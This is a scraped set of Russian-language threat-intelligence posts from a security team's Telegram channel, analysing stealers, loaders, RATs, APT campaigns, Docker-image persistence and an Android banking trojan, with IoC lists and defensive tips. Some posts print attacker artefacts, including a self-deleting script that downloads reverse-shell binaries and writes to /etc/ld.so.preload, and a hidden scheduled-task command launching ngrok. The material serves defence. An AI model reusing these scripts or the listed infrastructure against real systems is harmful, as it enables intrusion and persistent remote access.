С начала сентября мы фиксируем атаки, которые на первый взгляд можно отнести к активности группировки Lazy Koala. В качестве C2-сервера для эксфильтрации скомпрометированных данных используется телеграм-бот, а названия приманок похожи на названия тех файлов, которые Lazy Koala применяла в атаках:
Исковое_заявление_о_взыскании_убытков_и_морального_вреда_в_связи_с_нарушением_условий_договора_№1234_от_28_августа_2024_года_и_неудовлетворением_претензии.exe
Претензия_о_нарушении_договорных_обязательств_и_требование_возмещения_ущерба_по_договору_№1234_от_28_августа_2024_года.exe
Но при дальнейшем изучении кода стилера, который мы назвали MarkerStealer (из-за артефакта
script_executed.marker
), а также телеграм-ботов связи с группировкой установить не удалось.👾 Сам же MarkerStealer имеет стандартную для всех стилеров функциональность: позволяет получать учетные данные и куки из браузеров и проводить их эксфильтрацию на C2-сервер.
Единственное, что выделяет его на фоне других, — создание так называемого маркера по пути
%TEMP%\script_executed.marker
, сигнализирующего о том, что стилер уже отработал. У маркера есть время жизни: если при повторном запуске MarkerStealer время создания %TEMP%\script_executed.marker
превышает сутки, тогда вредонос по новой собирает учетные записи и куки из браузеров.IoCs:
1b9f8a0edfedb141753d080f6200573f75d275d0d5b62bba6008e1a0424a1846
3e32ab015ad7a1c35faf649dd0dfd50084918e0ffde65c5911409a659e049022
7b8f901160f567e8fe1294dcc5477da08f1bb133935a679ac5f704df2ab2862b
37e17898d9e6e4950fe9639cbb5f4102df6cfb7b3e236120b036a0d2c5362815
7572f826e9ccde9183537afb6146c844fea177bc3b6053e27f35190d0a71f507
12458b8e63d084d161dc24b3a3d46967c9bc1ad9613deb26d76f378a34869301
400269ef55144512f0ceb74854c7d913f6aa4650de8ecf096487727895f8bc80
274784844d3c112127b7a5e7d8b60d2f256aad4c56c6e07ba681186764d63396
cd10cc5a6c69d8cffedcb80e79985c9762ab0f0853298981ce13991d51642b40
e4a6e228e88504bc622a50fdeb3f2c264466a6bc7283136675cc4f2c6aa11ca6
2ecdd29bd72d001186ca2c9946e7e8e16da84c45678d66abfde8d940cf78df09
#TI #Malware
@ptescalator
PrevedMedved 👋 — это снова Lumma Stealer
В середине ноября группа киберразведки PT ESC зафиксировала кампанию по распространению вредоносного программного обеспечения Lumma Stealer и NetSupport RAT. В качестве источника заражения использовался GitHub-репозиторий, доступный по адресу
Вредоносный контент находился в разделе tag, в то время как основная ветка репозитория была удалена. Учетная запись GitHub, используемая для размещения материалов, зарегистрирована под именем
🧤 В ходе анализа репозитория было замечено, что размещенные приманки и вредоносные файлы регулярно заменяются новыми (скриншот 5). Средняя частота обновления составляет около одной недели. Злоумышленники делают упор на использование фишинговых файлов-ловушек, мимикрирующих под документы различных организаций.
Первым к нам в руки попал LNK-файл
🫡 В процессе изучения атаки выявлены и другие схемы, где вместо фишингового документа рассылался, например, файл, замаскированный под повестку в военкомат (скриншот 2). LNK-файл
Примечательно, что автором всех документов-приманок в метаданных указана Галлямова Римма Абдулнуровна. Это может быть попыткой отвлечь внимание или дополнительной частью фишинговой стратегии.
Согласно данным VirusTotal, семплы Lumma Stealer определяются как вредоносные лишь тремя антивирусными решениями. Этот факт свидетельствует о высоком уровне обфускации и уникальности вредоносного ПО — большинству систем защиты трудно его обнаружить.
Атаки проводились на протяжении всего ноября. Злоумышленники активно обновляют свои инструменты, в том числе вредоносные файлы и приманки, а мы продолжаем мониторинг. Подобная схема распространения ВПО уже была описана ранее, но не затрагивала пользователей из стран СНГ.
IoCs:
#TI #Phishing #Malware #IOC
@ptescalator
В середине ноября группа киберразведки PT ESC зафиксировала кампанию по распространению вредоносного программного обеспечения Lumma Stealer и NetSupport RAT. В качестве источника заражения использовался GitHub-репозиторий, доступный по адресу
github.com/NonaDoc/Nonadoc/releases/tag/defi_prive
. Вредоносный контент находился в разделе tag, в то время как основная ветка репозитория была удалена. Учетная запись GitHub, используемая для размещения материалов, зарегистрирована под именем
prevedmedved6724993
и связана с почтовым адресом [email protected]
.Первым к нам в руки попал LNK-файл
Anketa_energosale.docx.lnk
(скриншот 1), хранящийся на сайте energosale34.download
. После запуска файл устанавливает Lumma Stealer из вышеупомянутого GitHub-репозитория и NetSupport RAT с С2-сервера злоумышленника для закрепления на устройстве жертвы. Фишинговый документ Anketa_energosale.docx
(скриншот 3), якобы связанный с организацией «Волгоградэнергосбыт», был доступен для загрузки из того же репозитория.povestka_378478112.pdf.lnk
хранился на узле 80.78.27.201
, а сопутствующие файлы, включая вредоносное ПО и приманки, также размещались в GitHub-репозитории.Примечательно, что автором всех документов-приманок в метаданных указана Галлямова Римма Абдулнуровна. Это может быть попыткой отвлечь внимание или дополнительной частью фишинговой стратегии.
Согласно данным VirusTotal, семплы Lumma Stealer определяются как вредоносные лишь тремя антивирусными решениями. Этот факт свидетельствует о высоком уровне обфускации и уникальности вредоносного ПО — большинству систем защиты трудно его обнаружить.
Атаки проводились на протяжении всего ноября. Злоумышленники активно обновляют свои инструменты, в том числе вредоносные файлы и приманки, а мы продолжаем мониторинг. Подобная схема распространения ВПО уже была описана ранее, но не затрагивала пользователей из стран СНГ.
IoCs:
LNK-файл:
90301696accc600a3fc2a1419d0c73566a19f42424d2da6e6f215a83ba3895e6
68d0373fc7fcd74d7379f8175a894194ac285f98810359a7f48978ef15f5283e
96bd372f8a4e39e0e6e629994a2b284432c9e5a0a48e1f46100a0a6b0ce349bd
989dd914ccbd2df2a36f0500d0bdac9e286cdf39d53ab72d18f11bc726a692e8
Lumma Stealer:
26be491b59e98932bf12985cd6a24d5a0be33ee92767b19b41fe2917deb96f79
8762d87be2998ca50229e9b51a2a7700bbb1fd75b99864d05b4d630a5e091014
b0d738f7003d5bb5d7c5d0dc9441e45367fad635cbf505f129df48f8155e38a2
61e985cf63a414c5db76d1f57d9801e6d7dba106e8a8dc73ad29b53044c3c68f
NetSupport RAT:
860393e31788499f8774be83c65bcf29658cc77bf96ee2f4c86b065aedbf77de
176f7e61d26c33df91425f063c6494d6cd63f4de2654de3d72158a272bb03ae5
Файлы:
Anketa_energosale.docx.lnk
povestka_378478112.pdf.lnk
Anketa_energosale.docx.lnk
520a7afb8367e14661b412c65b9a805d.virus
Anketa_energosale[1]
poqexec.exe
Povestka_34.png
Anketa1
anketa_miner[1]
Домены:
energosale34.download
yiars.com
thisbusylife.com
abxweb.com
pdfbypari.com
kokachi.com
kokachi334.com
URL:
https://github.com/NonaDoc/Nonadoc/releases/tag/defi_prive
IP-адреса:
94.232.43.219
80.78.27.201
80.78.24.5
Метаданные:
dc:creator: «Галлямова Римма Абдулнуровна»
Эл. почта:
[email protected]
#TI #Phishing #Malware #IOC
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Представьте ситуацию: вы вирусный аналитик или специалист по расследованию инцидентов и вам необходимо в короткие сроки проанализировать большой объем бинарных файлов. В рамках этого анализа требуется разделить безвредные и потенциально опасные файлы и для последних определить их функции и предположительную роль в цепочке компрометации зараженного узла. Все это будет вам нужно для формирования картины атаки, а также для расстановки приоритетов при реагировании.
К сожалению, такие распространенные инструменты, как средства просмотра строк (например, strings или FLOSS), а также анализаторы PE-файлов (например, Detect It Easy или CFF Explorer) отображают только самый низкий уровень детализации и не предлагают пользователям помощи в интерпретации полученных данных.
Проанализировав интересующий вас файл с помощью этого инструмента, вы можете получить перечень задетектированных техник, как например на скриншотах 1 и 2.
1️⃣ Проанализировать все имеющиеся правила capa.
2️⃣ Выставить для каждого из них рейтинг опасности (например, в виде числа от 0 до 10).
3️⃣ Задать пороговое значение для классификации файла как вредоносного.
4️⃣ Суммировать рейтинги детектов анализируемого файла и сравнить их с пороговым значением: если сумма рейтингов больше, значит файл потенциально вредоносный.
Таким образом, вы сможете быстро классифицировать большие наборы файлов, а главное — понять, чем они могут навредить.
Благодаря этому, если цель реверса сводится к уточнению реализации тех или иных вредоносных механизмов, удастся ускорить их обнаружение.
В силу того, что в capa довольно много различных правил детектирования, для анализируемых файлов можно сформировать профили детектов, которые, при достаточном количестве, будут относительно уникальны. Если при анализе потока вредоносного ПО вам будут попадаться файлы со схожими профилями, то их можно брать для сравнения и выявления новых версий семейств ВПО.
#tip #tool #malware
@ptesaclator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Недавно группа киберразведки PT ESC обнаружила исполняемый файл с «необычным» названием, подкрепленным выделяющейся иконкой PDF-файла:
Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe
Не поддаемся на уловки злоумышленников и определяем, что данный файл представляет собой модуль, написанный на C#, и бежим в dnSpy. К счастью, не наблюдаем значительных следов обфускации и начинаем разбираться. В глаза бросаются «встроенные» в ресурсы файлы:
faylyk
, OneDrive
, OneDriver
и Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf
. 1️⃣
faylyk
— это иконка, которая будет отображаться в трее при запуске программы;2️⃣
OneDrive
— легитимная копия программы от Microsoft OneDrive; 3️⃣
Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf
— декой, легитимный документ.🧐 А вот
OneDriver
— что-то необычное, что-то такое, что сразу приковывает внимание.Проследовав в точку входа, убеждаемся, что наибольший интерес представляет класс
MyCustomApplicationContext
, в котором видим манипуляцию с файлами из ресурсов:Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf
записывается по пути %APPDATA%\Documents
, OneDrive
по пути C:\Users\Public\OneDrive.exe
, а OneDriver.exe
записывается по пути %APPDATA%\Driver\OneDrives_v2_1.exe
и добавляется в автозагрузку, путем создания LNK-файла в директории %APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp
.Чтобы отвести внимание, загрузчик одновременно открывает записанный декой PDF-файл и загрузчик
OneDriver.exe
.🦥
LazyOneLoader
(так мы назвали OneDriver.exe
) представляет из себя загрузчик, написанный на языке Go. Данный загрузчик достаточно тривиален, но обладает некоторыми особенностями.Принцип работы достаточно прост: имеется зашифрованный буфер, сохраненный в формате base64, который в процессе работы программы расшифровывается, используя операцию xor с ключом
4c776449576c50636c5a507251
.Следом запускается процесс
OneDrive.exe
, полученный на предыдущем шаге, в статусе SUSPENDED
, в котором выделяется память, используя LazyDLL
для общения с Native
-функциями (VirtualAlloc
). В эту память копируется буфер с расшифрованным шеллкодом, и, используя LazyDLL
(а именно функцию VirtualProtect
), меняются флаги памяти на Executable
.И, наконец, используя функцию
QueueUserAPC
, создается объект асинхронной функции, который начинает своt выполнение после вызова функции ResumeThread
главного потока программы.💤 К сожалению, получить конечный пейлоад, определяемый этим загрузчиком, на данный момент не представляется возможным: злоумышленник деактивировал свою С2-инфраструктуру (домен
phpsymfony.com
). Но мы предполагаем, что следующими этапами атаки является загрузка давно известного Cobalt Strike, а следом и дальнейшее горизонтальное перемещение.IoCs:
Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.rar
ab310ddf9267ed5d613bcc0e52c71a08
e1b88c619da8f0630e2879ab22d580ba41b36a62
14b1cd92b0a95ec76b31b0c2ec498b90d82054206f1056a58844513f89baeb55
Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe
fad1ddfb40a8786c1dd2b50dc9615275
34918c4d41e69dafe953fee14416f18d5e849081
ad80cbf12e5bee38a197f7bcafbe24983fdd3df6915e5a33a01f0311685e8b24
Исх\_по\_списку\_БГТУ_ВОЕНМЕХ.pdf
4c771efafb9141633ca83df3b21ad365
5f01f5f77239fb304777ce481bc3cbad40d964d4
420866ad15d5de2a6cdfab7ca317e5b20090098ad905d7cac784719f3e33360c
OneDrives_v2_1.exe
cac4db5c6ecfffe984d5d1df1bc73fdb
ef559b3e1c89fd03c427de706a1ce1fed2ae17aa
fdf0ea5d761352791545b1af0223853b31592996600c4ee5f1122e546c6165d3
phpsymfony.com
#TI #malware #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Стиль гадюки 🐍
Может ли злоумышленник использовать всем известные инструменты и оставаться незамеченным более полутора лет? Наш ответ — да.
В середине октября 2024 года департамент киберразведки экспертного центра безопасности Positive Technologies (PT Expert Security Center) зафиксировал таргетированную рассылку Revenge RAT, нацеленную на сотрудников финансовых подразделений российских компаний.
Особое внимание привлекли необычные африканские названия управляющей инфраструктуры злоумышленников. Углубившись в исследование, мы выявили и отследили новую, ранее не описанную APT-группировку, атакующую российские компании как минимум с мая 2023 года.
В связи с использованием африканских названий, регулярными обновлениями семплов и приманок, «пятнистостью» названий вредоносных файлов и продолжительной скрытностью в киберпространстве мы назвали группировку DarkGaboon — в честь африканской габонской гадюки, которую можно встретить в окрестностях стратовулкана Килиманджаро.
😏 Подробнее о группировке и ее техниках вы можете прочитать в исследовании на нашем сайте.
#TI #APT #Malware
@ptescalator
Может ли злоумышленник использовать всем известные инструменты и оставаться незамеченным более полутора лет? Наш ответ — да.
В середине октября 2024 года департамент киберразведки экспертного центра безопасности Positive Technologies (PT Expert Security Center) зафиксировал таргетированную рассылку Revenge RAT, нацеленную на сотрудников финансовых подразделений российских компаний.
Особое внимание привлекли необычные африканские названия управляющей инфраструктуры злоумышленников. Углубившись в исследование, мы выявили и отследили новую, ранее не описанную APT-группировку, атакующую российские компании как минимум с мая 2023 года.
В связи с использованием африканских названий, регулярными обновлениями семплов и приманок, «пятнистостью» названий вредоносных файлов и продолжительной скрытностью в киберпространстве мы назвали группировку DarkGaboon — в честь африканской габонской гадюки, которую можно встретить в окрестностях стратовулкана Килиманджаро.
#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Rare Wolf готовится к охоте 🐺
Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.
Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.
🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.
Жертве направляется файл
Использование ngrok:
Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:
Изменение рабочей директории: теперь вместо скрытой папки
Модернизирован также файл
В предыдущих атаках
Кроме того, в тестируемой злоумышленниками атаке появились файлы
🕵️ IoCs опубликовали в Telegraph.
#TI #APT #Malware
@ptescalator
Команда киберразведки PT ESC стабильно отлавливает новые серверы управления, используемые группировками, а также инструменты, задействованные в атаках. На днях мы наткнулись на артефакты, которые говорят о том, что группировка Rare Wolf находятся на стадии подготовки новых атак: выявлены семплы вредоносной нагрузки и новые подходы к закреплению.
Группировка Rare Wolf впервые была описана коллегами в конце 2023 года. В сентябре 2024 года изменения в поведении атакующих (уже под другим названием — Librarian Ghouls) были описаны другими исследователями. Изначально в ходе атаки собирались данные офисных документов и сессий Telegram, а в прошлом году группировка начала охотиться за файлами, связанными с программами автоматизированного проектирования и разработки, такими как AutoCAD и SolidWorks.
🔗 Новая цепочка атаки — смесь предыдущих атак с новыми инструментами и подходами, тестируемыми группой.
Жертве направляется файл
.scr/.exe
, мимикрирующий под легитимный документ. При открытии исполняемого файла создается все тот же скрипт cmd, но под новым именем, find.cmd
, и запускается документ-заглушка. Скрипт отвечает за запуск следующих этапов атаки: скачивание инструментов для последующей атаки, настройку данных для отправки найденной информации по почте и установку AnyDesk. Среди новых шагов мы приметили следующие.Использование ngrok:
C:\Users\admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\admin\AppData\Roaming\Windows\pas.rar ngrok.exe C:\Users\admin\AppData\Roaming\Windows\ /y
Добавление новой запланированной задачи Find update для запуска ngrok в скрытом режиме с помощью утилиты NirCmd:
schtasks /create /tn "Find update" /tr "C:\Users\admin\AppData\Roaming\Windows\nircmd.exe exec hide C:\Users\admin\AppData\Roaming\Windows\task.bat" /sc onlogon /rl highest /f
Изменение рабочей директории: теперь вместо скрытой папки
C:\Intel
используется %APPDATA%\Windows
.Модернизирован также файл
bat.bat
. Теперь он отвечает за сбор данных о системе, их отправку на почтовый сервер и запуск нового ssh.ps1
, который открывает 22-й порт и запускает сервис sshd. А добавленный в автозапуск task.bat
, возможно, написанный с помощью нейросети (судя по комментариям на русском языке в коде), отвечает за запуск ngrok и его скрытие с помощью NirCmd, чтобы пользователь не видел консольного окна.В предыдущих атаках
rezet.cmd
собирал файлы по расширениям (doc, docx, pdf и т. п.), а bat.bat
искал данные, связанные с криптокошельками. В новых семплах этих действий нет.Кроме того, в тестируемой злоумышленниками атаке появились файлы
ps.ps1
и bat1.bat
. Они не запускаются в текущей версии атаки, но тоже предположительно написаны с помощью нейросетей и могут быть предназначены для запуска вручную. Файл bat1.bat
сканирует сеть на наличие активных устройств, находит общие папки Users и копирует вредоносный файл .SCR
в директории Downloads, Desktop и Public. Затем он запускает ps.ps1
, который ставит в автозагрузку запуск Edge и удаляет предыдущий скрипт.🕵️ IoCs опубликовали в Telegraph.
#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
(Ex)Cobalt в контейнере 🛂
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
#ir #ioc #malware
@ptescalator
В ходе реагирования на компьютерный инцидент команда PT ESC IR установила факт закрепления злоумышленников в Docker-контейнерах.
Анализируя дамп с узла, на котором установлен Docker, мы обнаружили образцы ВПО в директории
/var/lib/docker/overlay2/[a-z0-9]+/diff/usr/bin/.+
. Она содержит слои контейнеров:/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH
Стало понятно, что мы обнаружили заражение внутри одного из контейнеров. Для дополнительного анализа мы получили Docker-образ, на основе которого создавался контейнер. Пример команды:
docker save myimage:latest | gzip > myimage_latest.tar.gz
Анализ истории показал, что атакующим удалось модифицировать образ путем выполнения двух команд:
COPY
, которая копировала файл update
в образ, и команды запуска скрипта /bin/bash /update
. Затем модифицированный образ был загружен в локальный Docker Registry
.{
"created": "2023-08-11T01:13:12",
"created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
"created": "2023-08-11T01:13:18",
"created_by": "/bin/sh -c /bin/bash /update"
}
Далее в одном из слоев образа мы обнаружили самоудаляющийся sh-скрипт
update
:#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload
Скрипт подгружал образцы ВПО с управляющего сервера в образ, а также для закрепления прописывал их в
/etc/ld.so.preload
./usr/lib/x86_64-linux-gnu/libssoc.so
— образец ExСobalt Launcher запускает процессы /usr/bin/checks
и /usr/bin/processes
.🧐 Расследование показало, что атакующие модифицировали Docker-образ создаваемых контейнеров и таким образом не только закрепились в скомпрометированной инфраструктуре, но и получили контроль над вновь создаваемыми контейнерами.
Чтобы предотвратить подобные компьютерные инциденты, рекомендуется проверять ОС, а также функционирующие на устройствах Docker-контейнеры и конфигурационные файлы / скрипты, участвующие в сборке.
IoCs:
leo.rpm-bin.link
mirror.dpkg-source.info
e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa
#ir #ioc #malware
@ptescalator
«Прикрепляю данные во вложении» 💌
У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.
Примечателен он следующим:
• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.
Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:
1️⃣
2️⃣
3️⃣
Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов
🙌 Модуль
📧 Транспорт
Результаты выполнения команд, которые записываются отдельными файлами в каталог
👨🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.
По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.
IoCs:
#ti #malware #tips #ioc
@ptescalator
У нас в гостях сегодня небольшой, но от этого не менее интересный и экспериментальный реверс-шелл для Linux. Хотя реверс-шеллом сейчас сложно удивить, этот образец все-таки смог привлечь к себе наше внимание.
Примечателен он следующим:
• Его «дистрибутив» содержит в своем составе модуль ядра.
• Управление реализовано через электронную почту.
Рассмотрим его детальнее: все файлы объединены в один дроппер, который извлекает и запускает основные компоненты шелла. Всего их три:
1️⃣
messenger.py
— транспорт. Этот скрипт получает команды от злоумышленника и отправляет на С2-сервер результат их выполнения, используя IMAP и SMTP.2️⃣
agent.elf
— основной агент. Постоянно опрашивает транспорт для получения команд, исполняет их в интерпретаторе командной строки, сохраняя вывод для последующей передачи на С2-сервер.3️⃣
maldrv.ko
— LKM-руткит. Используется для повышения привилегий агента.int __cdecl main(int argc, const char **argv, const char **envp)
{
if ( getuid() )
{
fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
return 1;
}
else
{
extract_file("/root/.agent.elf", agent_elf, 30400uLL);
extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
extract_file("/root/.messenger.py", messenger, 5295uLL);
inject(shellcode_out, 136uLL);
call_all_plugins("/root/.agent.elf");
return 0;
}
}
Всю работу по инициализации выполняет небольшой шеллкод, который инжектится в дочерний процесс. Именно он загружает руткит в ядро через вызов
finit_module
и запускает агент. 🙌 Модуль
maldrv.ko
перехватывает системный вызов execve
. При передаче определенного аргумента он повышает привилегии вызывающего процесса через commit_creds
, после чего агент активирует транспорт для приема команд и передачи их результатов (см. скриншот).📧 Транспорт
messenger.py
использует заданный в скрипте почтовый ящик. Для получения команд он раз в 10 секунд забирает из папки inbox письма с темой Command, полученные не ранее текущей даты, забирая таким образом только свежие команды. Саму команду он ищет в части письма с MIME-типом text
или plain
, записывая ее в файл /root/.output/.output.txt
. После получения письмо с командой удаляется из почтового ящика. Результаты выполнения команд, которые записываются отдельными файлами в каталог
/root/.output/
, архивируются в ZIP‑файл, который шифруется AES в режиме CBC. Затем «частями» по 40 КБ этот файл отправляется на заданный почтовый ящик. Если в списке почтовых аккаунтов несколько учетных записей — отправление каждой из частей зашифрованного архива распределяется между ними.👨🎓 Очевидно, что наш гость — это некий учебный проект, proof of concept такой вредоносной программы. Да и ограничения IMAP и SMTP не позволяют быстро обмениваться большими объемами данных с С2-сервера. Однако почтовые протоколы довольно часто использовались и в реальных вредоносных кампаниях — достаточно вспомнить активное применение SMTP в Agent Tesla в кампании SteganoAmor.
По каким признакам можно распознать такую активность? Стоит обратить внимание на периодичность коммуникации с почтовым сервером, а также на объем данных с узла, передаваемых по указанным протоколам.
IoCs:
SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4
#ti #malware #tips #ioc
@ptescalator
Лох не мамонт, APK не видео 🦣
В конце 2024 — начале 2025 года в сети активно обсуждалась информация о распространении в Telegram вируса Mamont. Этот банковский троян, представляющий собой вредоносный .apk-файл, встречался нам с именами
При установке на телефон — запрашивает разрешение на установку в качестве приложения для СМС по умолчанию. При закрытии скрывает от пользователя свое присутствие в системе, убирая значок из меню на главном экране. При этом в фоновом режиме собирает информацию об установленных приложениях, о сим-картах, СМС-сообщениях, вызовах, а также другие пользовательские данные и отправляет их на управляющий сервер.
🔑 Пути проникновения на ваш Android
Неизвестный отправляет вам в мессенджере файл с расширением .apk и спрашивает, не вы ли изображены на фото или видео. Иногда требует срочно открыть архив с документами, который представляет собой .apk-файл.
Вирус также может попасть на устройство:
• через фишинговые сайты;
• через QR-коды для вступления в закрытые группы, каналы и т. п.;
• под видом легитимных приложений (.apk-файлы не с официальных магазинов);
• при наличии физического доступа у злоумышленника.
🔐 Как не попасться
1️⃣ Будьте более внимательными:
• не переходите по ссылкам из сообщений, не посмотрев, куда они ведут;
• не вводите данные учетной записи на подозрительных ресурсах;
• избегайте сканирования QR-кодов в общественных местах (они могут вести на фишинговые сайты);
• не открывайте файлы из недоверенных источников.
2️⃣ Настройте конфиденциальность в мессенджере. Вы можете запретить приглашать вас в группы и отключить получение СМС-сообщений от незнакомых пользователей («Настройки» → «Конфиденциальность»).
3️⃣ При получении от знакомого голосовых, СМС- и видеосообщений с необычными просьбами свяжитесь с ним через альтернативные каналы (злоумышленники часто используют дипфейки).
4️⃣ Не храните пароли и банковские реквизиты в избранных сообщениях и чатах.
5️⃣ Устанавливайте приложения только из официальных магазинов и с сайтов разработчиков. Проверяйте запрашиваемые разрешения: если приложение требует доступ к данным, не соответствующим его функциональности, это может указывать на вредоносное ПО.
6️⃣ Регулярно проверяйте список установленных приложений — раздел «Приложения» («Установленные файлы» и т. п.) в параметрах устройства. Некоторое вредоносное ПО скрывает себя от пользователя. Можно также использовать средства для мониторинга активности, которые уведомят о подозрительных действиях.
7️⃣ Обращайте внимание на уведомления и поведение устройства. Если приходит много нетипичных уведомлений или устройство сильно нагревается в неактивном состоянии, это может быть признаком того, что оно заражено.
8️⃣ Регулярно обновляйте ОС и приложения. В обновлениях часто содержатся исправления безопасности.
9️⃣ Используйте проверенные антивирусы.
1️⃣ 0️⃣ Для защиты от физического доступа к устройству используйте надежный пароль.
1️⃣ 1️⃣ Регулярно создавайте резервные копии данных и храните их в безопасном месте.
1️⃣ 2️⃣ Для оценки ущерба при заражении мобильного устройства проведите его исследование.
1️⃣ 3️⃣ Постоянно обучайтесь и будьте в курсе новых угроз. Для общей осведомленности можете пройти бесплатные курсы Positive Technologies — «Личная кибербезопасность» и «Базовая кибербезопасность: первое погружение».
💡 Помните, что APK (Android Package Kit) — это формат, используемый в контексте приложений, но никак не для фото- и видеофайлов.
🎁 Бонус: опубликовали IoCs за 2025 год в Telegraph.
#news #tips #malware
@ptescalator
В конце 2024 — начале 2025 года в сети активно обсуждалась информация о распространении в Telegram вируса Mamont. Этот банковский троян, представляющий собой вредоносный .apk-файл, встречался нам с именами
CBO-Information.apk
, Фoтoгpaф.apk
, Google Video.apk
, Video.apk
, Видео.apk
, Фото.apk
, Photo.apk
, Докyмент <Количество штук>.apk
и т. п.При установке на телефон — запрашивает разрешение на установку в качестве приложения для СМС по умолчанию. При закрытии скрывает от пользователя свое присутствие в системе, убирая значок из меню на главном экране. При этом в фоновом режиме собирает информацию об установленных приложениях, о сим-картах, СМС-сообщениях, вызовах, а также другие пользовательские данные и отправляет их на управляющий сервер.
Неизвестный отправляет вам в мессенджере файл с расширением .apk и спрашивает, не вы ли изображены на фото или видео. Иногда требует срочно открыть архив с документами, который представляет собой .apk-файл.
Вирус также может попасть на устройство:
• через фишинговые сайты;
• через QR-коды для вступления в закрытые группы, каналы и т. п.;
• под видом легитимных приложений (.apk-файлы не с официальных магазинов);
• при наличии физического доступа у злоумышленника.
🔐 Как не попасться
• не переходите по ссылкам из сообщений, не посмотрев, куда они ведут;
• не вводите данные учетной записи на подозрительных ресурсах;
• избегайте сканирования QR-кодов в общественных местах (они могут вести на фишинговые сайты);
• не открывайте файлы из недоверенных источников.
💡 Помните, что APK (Android Package Kit) — это формат, используемый в контексте приложений, но никак не для фото- и видеофайлов.
🎁 Бонус: опубликовали IoCs за 2025 год в Telegraph.
#news #tips #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM